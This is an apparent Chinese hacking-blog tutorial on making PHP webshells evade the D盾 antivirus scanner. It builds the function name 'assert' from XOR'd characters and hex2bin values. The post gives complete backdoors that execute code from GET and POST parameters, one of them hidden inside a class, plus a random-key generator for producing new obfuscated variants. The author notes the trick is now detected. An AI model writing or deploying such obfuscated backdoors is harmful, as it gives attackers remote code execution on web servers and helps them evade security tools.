天道酬勤

随机异或免杀D盾学习【1】

##前言

做安全嘛,总归是要和杀软打交道的,要不然没法混呀。

平时我们经常见到的有D盾、安全狗……那我就先拿D盾下手吧。

##准备

D盾下载链接:http://www.d99net.net/

我们可以直接将写好的后门,放入D盾进行查杀,这个比较方便。

##学习

首先,要理解离散数学的一个概念——可逆性

离散数学中的异或(^)便有这种性质。

举个例子:

“c”^”7″=T,那么 “T”^”c”=7。这便是异或的可逆性。

但是,在实战过程中,会发现很多的异或结果,显示不出来,在页面中显示的就是一个小方块。(这是yzddmr6大佬总结的经验)

例如,这样子:

出现这种情况,我们可以通过url编码,来解决这个问题。

但是呢,又发现了,用url编码,还是会有几率出现 不可表示的字符。

所以,最好的办法就是采用hex

我们要利用php中的 hex2bin() 函数。该函数的作用是:把十六进制值的字符串转换为 ASCII 字符

	$_0='%'^hex2bin('44');	//a
	$_1='s'^hex2bin('00');	//s
	$_2='D'^hex2bin('37');	//s
	$_3='|'^hex2bin('19');	//e
	$_4='P'^hex2bin('22');	//r
	$_5='J'^hex2bin('3e');	//t

以上代码进行异或,再进行拼接就会得到 assert 

<?php
	$_0='%'^hex2bin('44');	//a
	$_1='s'^hex2bin('00');	//s
	$_2='D'^hex2bin('37');	//s
	$_3='|'^hex2bin('19');	//e
	$_4='P'^hex2bin('22');	//r
	$_5='J'^hex2bin('3e');	//t
	$config=$_0.$_1.$_2.$_3.$_4.$_5;
	$config($_GET['gu'])
?>

成功利用。

补充一下:如何将ASCII转为十六进制。

<?php
	$_A = "G"^"t";
	echo $_A;
	echo bin2hex($_A);
?>

 

##进阶

接下来,我们要做一个字符串池,存储特殊符号,并随机取出字符,与我们的字符串(assert)进行异或,这样我们就可以得无数多想要的结果。

<?php
	error_reporting(0);
		function randomkeys($length)
	{
		$pattern = '`~-=!@#$%^&*()_+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
		for($i=0;$i<$length;$i++)
		{
			$key[$i] = $pattern{mt_rand(0,strlen($pattern)-1)};
		}
		return $key;
	}
		print_r(randomkeys(10));   //可以选择生成随机字符的个数
?>

 

为了使其更加隐蔽,我们将其放入类中,再调用

<?php
error_reporting(0);
class ZKAB{ function zkab($mysql){
$_0='G'^hex2bin('26');
$_1='#'^hex2bin('50');
$_2='}'^hex2bin('0e');
$_3='*'^hex2bin('4f');
$_4='P'^hex2bin('22');
$_5='G'^hex2bin('33');
$config=$_0.$_1.$_2.$_3.$_4.$_5;
return $config($mysql);}}
$zkab=new ZKAB();
$zkab->zkab($_POST['gu'])
?>

##后记

虽然,现在来说,这种方法已经失效了(因为用的人多了)。但是这种免杀的过程,是很有必要学习的,一步步来,加油吧。

赞(1) 打赏
未经允许不得转载:HackerGu‘s Blog » 随机异或免杀D盾学习【1】
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏